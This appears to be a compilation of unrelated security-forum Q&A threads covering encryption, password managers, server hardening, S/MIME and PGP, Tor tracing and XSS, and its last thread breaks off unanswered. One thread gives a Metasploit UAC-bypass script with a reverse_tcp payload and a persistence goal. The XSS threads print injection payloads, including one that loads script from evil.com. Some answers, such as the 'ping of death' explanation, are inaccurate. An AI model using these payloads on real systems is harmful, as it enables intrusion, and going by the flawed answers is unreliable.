Encryption method that would encrypt alphanumeric data to alphanumeric data I need efficient way(possibly as strong as AES or AES itself) to enrypt (only) aplhanumeric data and get out only alphanumeric data, using some known library (i don't want and intend to implement AES myself).

Encode the input as some bytes, encrypt that, and encode the encryption output in hexadecimal, which is, by definition, alphanumeric. This is simple enough to implement and will piggyback on an existing implementation of AES or whatever encryption system you envision.

Now this will imply some growth in size, because:

Encryption will need some IV (characteristics depend on the mode of operation with which you use AES) and that IV will have to be made part of the output (that which you convert in hexadecimal) because it will be needed for decryption.
Depending on the mode of operation, some padding may have to be applied, so that the input data length is a multiple of some value.
Proper symmetric encryption also includes some sort of MAC, because most situations where encryption is warranted also need, in practice, some protection against active attackers; and that MAC will again increase the length.
With hexadecimal, each byte becomes two characters.

Some of these growth elements can be mitigated. For instance, if the encryption mode you use is GCM or EAX, then there will be no need for padding, the extra size for the MAC part will be limited (16 bytes)(and a very nice property of GCM and EAX is that they take care of the MAC in a cryptographically sound way, contrary to most homemade constructions) and the IV needs only be unique, not random, and thus can be a simple counter (which could be encoded over four bytes or so, depending on the context). Also, you could replace hexadecimal with Base64, which implies less growth (note that raw Base64 uses both lowercase and uppercase letters with distinct meanings; also, it uses two extra non-alphanumeric characters '+' and '/'; but a Base62 encoding which uses only digits and letters would not be hard to design and implement).

If the output must have the same size as the input, then things become a lot more tricky. You won't be able to reuse an existing library, or even AES at all. This is the realm of Format Preserving Encryption, which is more a research area than a tool ready for production, unless you are a trained cryptographer and you know what you are doing, in which case everything I wrote above was trivial (for you) and you needn't read it.


Do ISPs like Xfinity gather geographical information about their users? Do ISPs like Xfinity gather geographical information about the users of their public hotspots? If so how is it done and how accurate is it?

The network provider knows which node the user connected to. So from that, they can determine the geographic area that would be accessible by that node. All traffic from the user, then, can be correlated to that node.


How to run exploit/windows/local/bypassuac using AutoRunScript? Is there a way to run exploits that require parameters, such as the one in the title, using AutoRunScript?

I was able to use AutoRunScript to execute some post commands perfectly, such as keylog_recorder or checkvm.

But when I added the my script this:

use exploit/windows/local/bypassuac
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.1
set LPORT 443
set DisablePayloadHandler true
set SESSION 1
set TECHNIQUE EXE
set ExitOnSession false
exploit

I got this:

[*]     Running command use exploit/windows/local/bypassuac
Loading extension exploit/windows/local/bypassuac...
[-] Failed to load extension: No module of the name ext_server_exploit/windows/local/bypassuac.x86.dll found
[*]     Running command set TARGET 0
[-] Unknown command: set.
[*]     Running command set PAYLOAD windows/meterpreter/reverse_tcp
[-] Unknown command: set.

Clearly I'm missing something here. How can I do this? My objective is to be able to bypass UAC, use getsystem and then get a foothold using the persistence options.

As a side note, I understand that using "set SESSION 1" will only work for the first computer in the engagement. I would need to somehow use a variable to refer to the session that is currently initiating.

Anyone has any solutions for this?

You need to give the options directly where you are setting the AutoRunScript.

msf exploit(handler) > set AutoRunScript exploit/windows/local/bypassuac LHOST=192.168.0.1 LPORT=443


Is using an app with a password generation algorithm as secure as a using a password manager? I found the Master Password app which uses a password generation algorithm to generate a different password for each site based on the sites name, the users name and a master password. It seems like a good idea to keep a different password in each site without the hassle to keep a password file synced.

However, I have the feeling that, security wise, this strategy has some drawbacks compared to password manager. Particularly it seems to me that each password is the same behind the scenes. Specifically, it seems that the only secret behind each password is the master key making each password effectively the same. Furthermore, it seems that the only way of changing one password (suppose one site is compromised) is changing the master key which, in turns, changes all the other passwords (again, it seems like there is only one real password).

My question is, how secure is this strategy compared to a password manager? Specifically, is this a good strategy in practice to store my passwords compared to a password manager? Is my intuition right and there is effectively only one password?

Honestly I would say that writing passwords on a piece of paper is the best way of securing them

if you want to generate passwords, think of random sentences, (a password can include spaces)

ie:

pigs wag tails too

another way of generating good passwords is random text, over 7 characters long
^F*f*jk@Rj%j3

I created a password cracker, and those were the most difficult to guess

As to the master password system, if somebody gets your master password, you are done.
Its like placing all of your eggs in one basket, and hoping you don't drop it

Personally I think password managers are very insecure on account of most being online/syncing with mobile devices. The big problem with password managers is that we could have the best passwords, but a hacker could automate hacking these companies/its customers.


Security considerations when opening port for a service? I would like to host a service (written in C#) on my server and allow it to be accessed from outside the network.

I know that I need to open a port in the firewall for this to work, and I managed to do this, but I have no idea how safe this is.

Is anyone able to advise on what basic precautions should be taken, or point me towards a resource which might help?

Some basic details:

Windows Server 2012
C# WCF Service
Hosted on IIS
MS Access Database
No SSL - I have not managed to get this working, but the data being sent is not sensitive so I think this should be okay?

I have taken some precautions in the service itself, for example I have parameterised database queries/inserts and I should be able to ask the user to include some sort of username/password in their message.

I also noticed that in windows firewall there is a Only allow connections from these computers option under Remote Computers when creating a rule. How reliable is this?

Much appreciate any help at all as I have no idea where to start with this!

I have taken some precautions in the service itself, for example I
  have parameterised database queries/inserts and I should be able to
  ask the user to include some sort of username/password in their
  message.

If you are asking them to pass a username and/or password of sorts through to the service it ideally wants to be running over HTTPS.

  I also noticed that in windows firewall there is a Only allow
  connections from these computers option under Remote Computers when
  creating a rule. How reliable is this?

I would personally stick with IP restrictions if its a publically facing service. You can either whitelist or black list IPs. White listing is obviously more secure.

  Much appreciate any help at all as I have no idea where to start with
  this!

I would make sure you pen test your service (application) before publishing it. You mention you have done some protection against user input, but I would spend some time going through testing it in as much detail as possible - ideally ask a third party to help, they may spot things you missed. For example make sure any authentication you are using is strong, and that your application doesn't have any errors that may allow an attacker to circumvent your access control. e.g. Check that all service paths require the correct authentication, and log successsful and failed attempts so you can see what sort of attacks are being tried.

Regarding the server security, the usual protection mechanisms should be used:

Change any default passwords for the server/services
Choose strong passwords
Test that only open ports are exposed, close the ports and services that are not needed
Install a good AV
Regularly patch the OS and any applications
Regularly re-test the above to make sure nothing has changed and accidentally exposed your server and/or application.


Failed RDP brute force attack from Microsoft IP address? I use RDPGuard on my webserver. I have noticed that it blocked an IP address which seemed to originate from a Microsoft registered IP address:

Process Information:
Caller Process ID:  0xf78
Caller Process Name:    C:\Windows\System32\winlogon.exe

Network Information:
Workstation Name:   BLAH
Source Network Address: 168.62.177.31
Source Port:        36038

Looking at the rdpguard whois service I can see that this is a Microsoft IP:

WHOIS Source:      ARIN
IP Address:        168.62.177.31
Country:           USA - Washington
Network Name:      MSFT-EP
Owner Name:        Microsoft Corp
From IP:           168.61.0.0
To IP:             168.63.255.255
Allocated:         Yes
Contact Name:      Microsoft Corp
Address:           One Microsoft Way, Redmond
Email:             iprrms@microsoft.com
Abuse Email:       abuse@msn.com
Phone:             +1-425-882-8080

http://rdpguard.com/free-whois.aspx?src=app&v=1-2-5&fam=x64&affid=self&ip=168.62.177.31

Has anybody seen this before? Does anybody know why this would have happened?

As SteveS points out below, it is possible that this is a misbehaving Azure server.  Azure is a cloud server platform that Microsoft runs.  This would also mean that you should really contact the two e-mails on the reverse look-up record.  Microsoft would want to know about it whether it is Azure being abused or one of the other problems I originally mentioned.

The only thing that comes to mind is that if the packet that is sent to RDP is significantly shorter than the packet that the RDP server responds with, it is possible this is a ping of death style DOS attack being carried out against Microsoft.  Basically the principal is that the attacker makes a small falsified request to one server to get that server to respond to the target with a much larger amount of information.  The original ping of death was setting up two servers so that they would constantly interpret the response as a request and respond, which made an infinite loop that would bring one or both victim servers down.  There likely isn't a loop condition here, but it is at least one possibility.

That or Microsoft actually has a compromised system in their network and is being used as a bot, which is also entirely possible.

I'm not aware of any general, legit reason why Microsoft would be trying to connect to your RDP.  I'd recommend contacting the abuse or iprrms addresses and see what they say.


Keeping a password safe in program config I have a Windows service which connects to a database to poll some value in order to monitor certain activity.

Of course, to use this I need a database password. I need to keep this password safe, since it is of course not supposed to be common knowledge. In order to do this, I have developed a simple XOR cipher and stored the ciphertext in the config file. The key I have used for the cipher has for now been hardcoded into the service.

Of course, this hard coding is not ideal, since somebody can disassemble the .exe and see both the key and the cipher!

I am not expecting most people to be capable of doing this, but I feel it is best to mitigate risk where possible. So, is there perhaps a better approach to this problem?

I know it is always best to use an existing solution where possible, but I couldn't find anything specifically that would work in this case. I looked at the Windows Data Protection API, but from what I could tell that only worked within one instance of an application. It would not allow me to store the ciphertext in a file and access it later.

If the password is going to be used and stored somehow on an untrusted client, then there is no real way to secure it. It would be in memory at point of use, and could also possibly be sniffed by a MITM impersonating the server.

A better solution would be to have a remote Web API with read access to the database table containing the value that needs to be monitored.

The Windows service then queries the Web API. If the data is sensitive, it is prudent to secure this service with some type of authentication and to protect it in transit using TLS. However, the main point is that if a client discovers the API credentials, the worst they could do would be to query the value being returned which is what the Windows service does anyway. That is, they won't have the access to read other tables, or to write to the database server. The API will only expose the one function, and the API itself would only have the minimal permissions necessary.


Shared Secret, is it a public key or a private key? Reading the Diffie-Hellman non mathematical explanation i found that some mathematical operations are performed on private-key and the recipient's public key to generate a "shared secret" on both ends of the communication; the shared-secret key is identical on both ends.

I read that the shared-secret key is asymmetrical by it's mathematical nature; so the concept of public and private keys must apply here too.

So my question is "Is the shared secret a public key or a private key" or something intermediate.

If it is public it cannot be secret...

A key is "a parameter for an algorithm, which concentrates secrecy". This means that the key is not only secret, but, normally, nothing else is (algorithms are known to everybody).

A public key is a paradoxic terminology which was coined when asymmetric cryptography was invented. The "real" key is what we call the private key. It is the secret parameter which allows for performing an operation which only the key owner should be able to do (e.g. decrypting a piece of data, computing a signature...). The magic of asymmetric cryptography is that the reverse operation (encrypting a piece of data, verifying a signature...) can be done by anybody, using a mathematical object which is linked to the private key, and which can be made public without revealing the private key. You can imagine the public key as the face of a human being: it is distinctive and can convey information, but recognizing the face does not tell you what goes inside the brain. So a "public key" is not really a "key" in the strict sense of the term; and the "private key" could be called simply "key" or "secret key" because that's what it is.

However, Tradition dictates that we say "private key" for a key of the asymmetric kind (a key with enough mathematical structure to have a public face, which can be revealed without endangering the secrecy of the private key), while keys which are just bunches of bits, for symmetric encryption and similar algorithms, are called "secret keys" (or "symmetric keys"). That's traditional, not ultimately rational; terminology is always like that.

Asymmetric cryptography is mightily cool, but it is ill-suited for bulk encryption of gigabytes of data. For that, symmetric cryptography is much better, with "secret keys" (i.e. keys which do not have a public face, they are 100% secret). Diffie-Hellman is an asymmetric key exchange algorithm, in which two parties do the mathematics of DH and end up with a shared secret, i.e. a key: they both know it (thus "shared"), but nobody else (thus "secret"). With it, they can do symmetric cryptography, which was the point.


What are the security differences between SMIME email and PGP email? Outside of key distribution, and specific to the technical details relating to encrypted email data (message body), what's the difference between SMIME and PGP?

Example comparisons

Security comparison: What are the security guarantees of each format?  Is comparing the signing/encrypting keys enough, or are there implementation and configuration details specific to the MUA that may lessen perceived security based on the public key alone?
Can unsigned data be appended to either format? (e.g. a disclaimer)
What other modifications can an MTA make?  What's possible, not possible, and what is MUA-dependent?
Privacy and Modification example: Do both formats ignore the header?  The subject?
Modification example: Can signed and unsigned data appear in the same message? e.g. a "help message" be displayed in MUAs that don't render encrypted SMIME and PGP because of missing private keys  or lack of support?  (e.g. in HTML messages there is a plaintext option for text readers who only download the first N bytes.  Would like something similar)
Privacy example comparison: Are the RFC2822 display TO and CC recipients hidden from those who don't have a key?  (exception, there is no encryption for the envelope, I understand that)
Security example comparison: Can integrity checks be performed by intermediate MTAs without access to the key distribution channel?
Privacy example comparison: Assume a 50Mb attachment.  Are both message formats the same size?
Auditing example: Do both support gateway decryption/encryption allowing for 3rd party auditing?

  If this question is too broad, please provide concrete examples of how to constrain this question.  e.g.   What are the ____ differences between SMIME and PGP for email?

1: The advantage of S/MIME over PGP is that you sign/encrypt a complete mime entity, not a text. This makes it possible to sign/encrypt an entire message/rfc822. Yes, headers must be visible and changeable to the MTA, but that can be accomplished by taking the WHOLE mail, S/MIME sign or encrypt it, and then package the signed/encrypted S/MIME entity it in a new mail container. This accomplish can even be used to encrypt the subject, by having the inner (encrypted) subject be "Here is your credit report for your credit card number 1234-1234-1234-1234" and then the outer subject be "A encrypted mail from your bank!".

Most MUAs will react to a message/rfc822 container either by displaying a button, attached file, or Another UI element to open the "contained" message, or it will display the contained message inside the original message, like "iframes" work in browsers. Both of these allows you to validate all signed fields and all data, except for data that should be hidden according to the RFCs.
This makes it even possible to use even different from's for encrypted mail.

For example, the outer container has From: YourBank Info Department <info@yourbank.com> but the inner encrypted container has From: Name Namesson <name.namesson@yourbank.com>

However, there is one case, where its DANGEROUS to sign/encrypt/decrypt/verify a complete MIME container/entity instead of only plaintext. This is when someone signs/encrypt content that this someone hasn't created.

One example is a notary verifying that Im is a male, for example (I know it's a "stupid" example, but so you understand the dangers of signing MIME entities).

Let's say I ask the notary to sign the following:

Content-Type: multipart/alternative; boundary="1234";

--1234
Content-Type: text/plain

Im a male
--1234
Content-Type: text/html

Im a female
--1234--

If the signing is done with S/MIME, the notary will verify the content she/he see, lets say the notary's client is unable to view HTML mails and will then show the text/plain version. The notary signs is because the notary knows im a male.
I then forward the signed mail to a verifier, that has a HTML mail client, which will of course show "Im a female".

Another example is the following:

 Content-Type: text/html

 I authorize the transfer of $ 100 000 000 000

 from your account to my account 1234 1234 1234

You can propably understand what happens if you as a account manager signs this, and the target mail client, lets say the bank employee's mail client strips off HTML from the mail after having verified the signature.

In this case, PGP can have a great security advantage over S/MIME, because in PGP, you know exactly what you signing, encrypting, decrypting or verifying.

2: In PGP its easy as appending the unsigned data outside of the -----BEGIN PGP...----- and -----END PGP...----- . In S/MIME this is done outside of the S/MIME container. This can be done as in 1, repackaging the whole signed mail into a new message/rfc822 container, and then adding the disclaimer to the outer container.
But if you need to add a disclaimer to S/MIME mail, I would recommend using a gateway signing solution like Ciphermail, where the disclaimer can be added Before signing the mail.

3: The MTA can modify all outer headers in both PGP and S/MIME mail. MTA's shouldnt touch inner headers anyways (unless its signing, encrypting, decrypting or verifying mail). Some MTAs might recode content from 8bitmime to qp in case the receiving server does not annouce support for 8BITMIME, why its best to Always send signed mail as quoted-printable.

4: S/MIME do sign all headers that has a effect on interpretation of content, like Content-Type, by moving these headers inside the S/MIME container.
PGP should completely ignore the container and Always sign plaintext, however, MUA's might display the content inside a PGP armor with formatting, when it should not. In some cases, this can also affect the signature validation, eg if the mail client sends the visible content (eg with stripped HTML tags) to the PGP verifier, the content will come out as invalid.
The best way of this, is when PGP is used, Always use a external solution where the PGP mail is copyed and pasted. Or use a central solution that can recode PGP mail as text/plain to ensure these do not have any effect on the interpretation of content.

5: For both S/MIME and PGP, the signed data will be visible to the end user even if their clients do not support S/MIME or PGP. In S/MIME, signed mail will appear to have a attachment of smime.p7s for non-S/MIME-aware clients that can be safely ignored if you dont want to verify mail. For PGP, it will look like this:

-----BEGIN PGP SIGNED MESSAGE-----
bla bla bla

Best regards, Name Namesson
-----BEGIN PGP SIGNATURE-----
fkjhdklghdflhilgnegdngnlbvilgbdgeetbugbzjbeu
-----END PGP SIGNATURE-----

Thus the mail client user can see the content of the message, even if the client do not support signatures at all. If you want to add verifying instructions, you can easly add tihs INSIDE the signed mail (so it gets signed).

If you want to add such instructions outside of signed content, you can refer to Point 2 of my answer. For encrypted mail, in PGP its the same as for signed mail - eg add it outside the BEGIN/END header lines. For S/MIME, you have to repackage the mail, so the encrypted mail is put inside a message/rfc822 container, that is then added to a plaintext container, containing decryption instructions.

6: Yes you can hide To and CC in S/MIME by simply moving these inside the encrypted message/rfc822 container. However, its recommended to have a To, that is directed to the original recipient, to prevent the mail from getting discarded by spam filters, because spam filters might compare To: to the envelope recipient, and if it wont match, it sees it as spam.
However, CC can be safely hidden to only be visible to those having a key.

In PGP, its not possible, since PGP encrypts the plaintext. However, you can manually add a text like:
"I did send a copy of this mail to name2@somehost.com and name3@someotherhost.com" aswell in the beginning of the plaintext mail.

7: Yes. Intermediate MTA's can verify signatures inside mail. For S/MIME, this can happen completely transparent. In PGP, this can only happen if the key is uploaded to a key server that the intermediate MTA knows about and downloads keys from. Note that for MTA to MTA integrity, I would recommend using DKIM, STARTTLS and SPF instead. You can example configure your MTA to force STARTTLS to the mail servers you know support TLS.

8: No. Signed and encrypted message is Always a sligtly Little bit larger. This is something you need to account for if you signing or encrypting mails to hosts that empose size restrictions. In the same way, S/MIME and PGP will make the mails as small as possible, so encrypted mails do in fact "leak" roughtly which size the message is. However, its possible to hide the "true" size of a enrcrypted message, by padding it with useless data. You could even add a notice like "This is a padding to ensure encrypted data Always has the same size." and then add large blocks of lorem ipsum text. Note that the size of lorem ipsum block must not be smaller than the largest mail, else people can see in the encrypted content which mails that are larger than a certain size.

Note that S/MIME signs or encrypt all text as once, in a large block, and then adds the smime.p7s attachment. A encrypted S/MIME mail will ONLY have the attachment smime.p7m , PGP does encrypt attachments separately, why the size leaks for those. PGP attachments are encrypted in whole. PGP attachments are signed by appending a new attachment to the mail that contains the signature . For example, Powerpoint.ppt is signed by appending the attachment Powerpoint.ppt.asc to the mail, so the mail contains both the Powerpoint.ppt and the Powerpoint.ppt.asc file.
However, if you want to hide size of attachments when encrypting, you can Always put the attachments in a .zip file, and then inside this zip, you put a useless file such as large that makes all your zip's a fixed size. Note that you then need to calculate the size of the useless file based on compression (or turn off compression), and the useless file needs to be random data. When you encrypt this zip containing your attachments and the useless file, it will be transformed in one single binary blob, where those that does not have the key, cannot see anything about the size, name or number of attachments you have sent.

9: Yes, provided that the gateway knows the private key of the receiver. This is valid for both PGP and S/MIME. If you want to gateway audit mails to recipient who you dont know the private key to, you can Always encrypt the mails from the gateway, and send the mails "unencrypted" to the gateway, but encrypted by some other means like STARTTLS, and/or PGP/SMIME encrypted with a key that the gateway knows the private key of. If the third-party is located off-site, you can Always add the 3rd party's key as recipient in both S/MIME and PGP, allowing the auditor to decrypt in addition to the real recipient.


How is it possible that we can't really trace C&C(or other hidden) server? With the recent breakout of WanaCry, how is it possible that we know on which hidden service it connects, we still don't know where the physical device is located and thus we cannot take it down.

This is because an infected device "talks" to hidden service through 6 different Tor nodes. All those machines do not track any routed traffic - and they cannot be configured to "track Wannacry traffic" because none of them know what exact traffic they route (it is encrypted end to end, so only the sender machine and Wannacry server can see the content). Also only the first machine in this chain knows which is the real IP of the sender, but it does not know that the sender is a hidden service.

So to trace a connection, theoretically you'd need to:

Build a circuit (establish a connection through rendezvous server) to a hidden service. This is easy.
Find out who is the first Tor node in your circuit, and talk to them to trace the next node in the chain. This is way more difficult - not only the node operator may be unreachable or skeptical (how could they know you're really tracing WannaCry, and not some underground resource), but will also require modifying the Tor client and inspect traffic - latter might also be illegal in some countries.
Repeat the same with the next five circuits. Which will likely be in different countries - different timezones, different languages and different ideas of what is acceptable and what is not.

Add to that that you need to do this within the circuit lifetime - which, as far as I remember is rather short, less than 30 minutes - and you see the problem.


Web Assembly Security I'm excited about the prospects of web-assembly for the future, but I'm curious if this will have the same security ramifications of Java Applets.
What are some of the reasons why web assembly is expected to be more secure than Java Applets?
(Isn't a sandboxed JVM in the browser similar to how web assembly might work?)

Java applets attempted to lock down a privileged standard library from within the process.
APIs like serialization and URLConnection were intended to work in both a full access mode (Java out of the sandbox) and untrusted mode (applets, web start). Privileges were determined by checking the caller’s class loader. This created an attack vector for gadgets: stringing together a sequence of API calls to trick a privileged Java class (say JEditorPane) into performing a privileged action on behalf of an unprivileged class.
It didn't work because the boundaries and responsibilities were unclear. Why was JEditorPane responsible for enforcing URLConnections security rules, only because it used the URLConnection APIs?!
My understanding is that WASM has no complex standard library that needs to work in both privileged and unprivileged mode. Avoiding that design mistake doesn't guarantee WASM security, but it makes it much easier to implement correctly.


Is it unsafe to publish your nginx configs? I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple applications and a static website, is running and correctly configured.
Though when working with complex configs or debugging problems only working over bash+ssh has become a problem for me. It's also been a problem when just wanting to look at configs without actually connecting to the server e.g. on the go with a phone.
So I've decided to move my nginx configs to a private git repository and have them, with a CI tested their first, deployed onto the server. This approach has solved a lot of problems and simplified the workflow. But I would now like to make this repository public to enable users to ensure for themselves what e.g. access is being logged as part of providing transparency over the usage/ processing of their data.
My question is then: How much risk do I take by publishing these configs and is there any part that should be censored?

IMO, there should be nothing in your nginx config that is secret. It should not directly contain credentials. There should not be any secret paths or secret headers or secret query params that bypass authentication. The filesystem path to your TLS private key is not useful to an attacker. The filesystem path of a basic auth password file is not useful to an attacker. Rewrites and redirects and log format should not be useful to an attacker.
It might be that your config has some kind of bug that allows an attacker to attack your app (e.g. send http request headers that the app thinks are only set by nginx), and no attacker knew about it, but once they see your config they'll know and be able to attack your site/app. The bug was there already, but nobody knew. This is like open sourcing the app's source code - maybe someone will find bugs now that it is easier to inspect.
So, it should be safe to publish your nginx config, but only if it was developed while knowing that it will be published, or reviewed before being published.


Is there a unique way to identify a hardware? I'm considering an environment in which I will have to identify a computer.

In this scenario all hardware parts (CPU, HDDs, RAM, etc) won't change, while I'd like to consider a changing OS.

The goal is not to have to rely on any additional software or hardware other than the computer I want to identify and the plug-in software (like an executable on a usb key).

The goal is to have a unique identifier of the computer that isn't easily guessed and ideally can be manipulated to obtain an identifier with entropy high enough to be used to encrypt a message.

I can't find a better solution than obtaining the UUID of the computer and hash it.

I would obtain the UUID in Python in this way:

import uuid
uuid.getnode()

I was hoping there would be a better way to identify a computer.

uuid.getnode() in python returns the MAC address of one of the network interfaces installed - if there are none, it returns a random 48-bit number with the eight bit set to none as per RFC 4122.

That's as likely as good as you'll get.  The UUID of the computer doesn't exist but often certain pieces of hardware have unique identifiers such as the CPU and any network cards.  Of course, any of those bits of hardware could be swapped out.  Since uuid.getnode() returns a random 48 bits on failure, and those 48 bits aren't secure, then you are much better off just using something like Crypto.Random.random.getrandbits(N).

All that said, you can identify a Windows computer to a small group, even if it's not unique, by looking at the key.  How you do this will depend on your language, but it is definitely possible.  You could also look at all the drivers currently loaded and use that as a method, which Windows itself has used and means a hard drive taken and inserted in another system won't work.  Of course it also utilises information in TPM etc.

As stated in my comment, if you want a repeatable seed for running experiments then set it manually.  If you want a random string, use various options available that have a high degree of entropy such as mouse movement.


Sniffing on VPN configuration Our company wants to implement a service based on sniffing for security purposes, since we manage important information this requirement is imperative. The situation is as follows.

Everyone in the office uses a VPN for preventing external eavesdroppers to sniff in our network. Although, the company is looking forward to protect it self from the inside out, then if an employee sends a particular message containing certain key words an alarm should be sent to a particular Area. Then, is it possible to sniff on our own VPN to further increase security?

Although "sniffing" can be just about anything to anyone, I usually consider the term to represent low-level information discovery -- usually at layer 2 to layer 4.  Your question, if I can interpret a little bit, appears to want to perform discovery at higher levels.  Such sniffing is absolutely possible, but requires more work to piece together the low level protocols to build a cohesive data stream.

The class of protection you are seeking is called "Data Loss Prevention" or DLP.  Such systems can be placed within the network or placed as agents on each individual machine.  They will continuously scan data at rest and data in motion at high levels of abstraction.

(The fact that you have a VPN is not entirely relevant to the rest of your question, I don't believe (unless you do not control the VPN server). A VPN protects the information across an untrusted network.  Perhaps this network is the public Internet, and perhaps it is a segment of an internal corporate network which processes sensitive information that needs to be separate and protected from other corporate networks.  At the end of the day, the VPN traffic/data will be decrypted by the VPN server to perform actual, useful work.  It is within that scope that you can embrace an in-network DLP solution -- or, you could deploy DLP agents on the individual machines -- or both.)


CVSS3.0 impact score and exploitability score I'm having some trouble calculating CVSS v3.0 scores in some findings I've encountered.

In particular, one finding is a simple server information disclosure via default error pages. It is very similar to the following: https://nvd.nist.gov/vuln/detail/CVE-2017-4013

Using the CVSS v3.0 calculator, I have also arrived at the exact same CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) and score (5.3, Medium).

Intuitively, this finding shouldn't be a Medium since attackers can't really do much via banner disclosure. I would think it should be a Low or even Informational. IMHO, CVSS v3.0 calculator does not provide enough granularity in the C/I/A impact components to properly account for this.

However, I notice in the link above that there's also an "impact score" and "exploitability score", which are appropriately low in both cases. There's no mention however of how these are derived, not in the link, or the CVSS calculator at first.org. A quick Google search doesn't yield anything either.

May I know how these are calculated, and can they be used to modify the risk ratings?

The CVSS calculator on NVD has a button "Show Equations" which, as you would expect, shows the equations for the various values including impact and exploitability.

The issue with the base score in this instance is that when dealing with a loss of confidentiality the equation doesn't take into account the sensitivity of the data that is disclosed.  Is it salted and hashed passwords?  Unhashed passwords?  Or the specific implementation of a web server?  It matters when assessing risk, but isn't taken into account by the score.

So, now it depends on why you're calculating the score, are you getting a CVE?  are you trying to access risk?  Or something else?  If you're trying access risk then use the base score as a guide and adjust as you believe appropriate.

To be honest I don't see this as a vulnerability as the banner information in and of itself cannot be directly used to attack the software, though it can be used to more easily find attacks.  We use Nessus to scan our products for issues and Nessus reports banners being available as "informational" for that same reason.


SSL 3.0 for clients without room for chosen plaintext attacks I've collected the issues that affect SSL 3.0 and found that they

are either configuration issues (disabling RC4, RC2, DES, anon, export, null suites, compression, proper key lengths, etc.) or
require a browser where the attacker can generate traffic using JavaScript.

So the question is: can a properly configured SSL 3.0 connection be attacked if the client is not a browser? (Think MUAs and other agents like that.) Are there attacks that can target a properly configured SSL 3.0 client-server that wouldn't be possible if the only thing that'd change was the protocol to a newer version?

I have the following theories about potential attacks:

BREACH, CRIME: both rely on the effect of compression of attacker-supplied known plaintext, thus not exploitable if the attacker cannot initiate requests in the context of the victim SSL client
POODLE: it can force fallback to SSL 3.0, but in this case, SSL 3.0 is used in itself, so the attack is irrelevant (see other attacks)
BEAST, Lucky13: both rely on cryptographic oracles (either time- or response based) that are exploitable only if the attacker can initiate requests in the context of the victim SSL client, which is not the case in my scenario above
RC4 attacks: mitigated by disabling RC4, leaving 3DES-CBC ciphersuites as the only choices (AES was not yet included in SSL 3.0, since it was released in 1996)
FREAK, LOGJAM: mitigated by enforcing sane key lengths (>1024 bit) on client and server

In summary, my client and server is configured in a way that keys have sane lengths, and the only cipher suite enabled is SSL_RSA_WITH_3DES_EDE_CBC_SHA.

See also previous discussion on /r/crypto

SSL 3.0 is deprecated for almost two years now. As said by others, don't find any justification to use it any longer then necessary. About now almost all client software (including MUA's) will stop supporting it.

https://tools.ietf.org/html/rfc7568


bypass a regex filtration to perform an xss attack Does the regex [\w/$!.*-]+$ stop the injection of payloads like :

"><script>alert(4)</script>
" onload="alert(4)"
...

No.  This doesn't stop all injections.

You mentioned one example:

<script type='text/javascript' src='INJECTIONPOINT'>

The regexp you listed is not enough to stop XSS in that case; an attacker could inject //www.evil.com/kablooey.js, and you're done for.  (Comment: the URL //www.evil.com/kablooey.js is treated by browsers as equivalent to http://www.evil.com/kablooey.js, if the containing page was served over http.)

In general, I recommend reading the OWASP recommendations on how to prevent XSS.  Sanitize your inputs, and use context-dependent escaping of all outputs (e.g., all values inserted into HTML).


XSS in GET request not decoded on backend So I am pretty sure I know the answer to this question but I want to be 100% sure so I am looking for some input here.  A vulnerability was reported to a site of mine that looks something like this:

GET mysite.com/page<script>alert('XSS');</script>

If you use curl you can see the payload in the response, likewise, if you intercept a browser request with a proxy and edit it to the above payload it will execute.

However, the backend isn't decoding the URL. If this link is posted on some forum and clicked, the browser will encode the url and the response will look like this:

....
mysite.com/page%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E
....

This obviously does not execute. To me, this poses no threat whatsoever because the only way to execute it successfully is with a MITM attack.  If there is somebody sitting on the network that can see the traffic and edit it, there would be no point in exploiting XSS because you have everything you want anyway.

Is this a correct analysis? Is there anyway to get a user to click on a link or post some form that doesn't encode the URL that I am not aware of?

Your analysis is incorrect.

Not all browsers do that, as some googling spits out an excessive blog post that seems relevant.

The blog post is old and IE is old, but this should be enough proof that not all browsers encode this, as you expect.

So: it is a real vulnerability, it poses a thread to your users.


Google: "Unusual traffic from your computer network" I often happen  to receive the message: "Unusual traffic from your computer network" while googling in Russian speaking countries.

Google explains this with:

  You may see "Our systems have detected unusual traffic from your computer network" if Google detects that a computer or phone on your network may be sending automated traffic to Google.

  Automated traffic includes:

  Sending searches from a robot, computer program, automated service, or search scraper
     Using software that sends searches to Google to see how a website or webpage ranks on Google

Most of the times, Google simply stops working and I have to use Bing.

Despite what Google says, I still don't get what is the misbehaviour here? What is the problem with privacy/security, if any?
Why in some regions of Eastern Europe does this happen quite regularly and, most of all, why does it affect all users of the network and not only those sending the unauthorised traffic.

Is "automated traffic" an understatement for  something trying to flood their servers ?

While what they look for isn't disclosed, we do know how malware abuses Google searches -- attackers will search for sites that display specific signs of vulnerabilities and use that target selection. So the more you look like you're doing that in an automated fashion, the more likely you are to get blocked.

So searching for "facebook" and "michael phelps" and "ebola prevention" is probably less likely to attract attention, while searching for "plugins/cart.php" or "powered by Wordpress" is a bit more suspicious. Other minor factors, like ignoring cookies and sending at a predictable rate might make you look even more like a script. And most importantly, we know that they watch your traffic rate. Lots of searches in a small time is the most reliable way to get yourself flagged.

That's not to say that Google looks for these things. If they were to say what they were looking for then attackers would take measures to mask their behavior.

Most importantly, though: just because you aren't doing anything suspicious in your browser doesn't mean that your computer isn't doing it in an automated fashion in a way you can't see. Malware doesn't need your browser to make these queries. Make sure that nothing on your network is sending traffic you don't know about. Do a packet capture at your gateway to be sure.


Android & Man In the Middle -- how did Fox News do it? A couple years ago Fox News aired a short clip on how smartphones track and upload user location/physical state data. The clip is freely available on youtube and it shows how two Android smartphones tracked user coordinates and the physical states (e.g., sitting, walking, driving and others available via Google's ActivityRecognitionClient).

Hardly any of these observations are surprising (Google is transparent about such tracking in its terms and conditions), however, what is surprising is the device that was used to sniff out the packets containing said data. The journalist calls it "the man in the middle device" and argues that it was able to capture the packets containing decrypted data. The exact clip with the device is at the 2 minute mark

What is this device? (is it something that the general public can access?)
Is it actually possible what they did? (Isn't the traffic encrypted?)
If it is possible, how would one do this experiment in 2018?

What is this device? (is it something that the general public can access?)

This one I can't answer. I'm not sure of the actual model/brand, maybe someone else can answer this specific question.

  Is it actually possible what they did? (Isn't the traffic encrypted?)

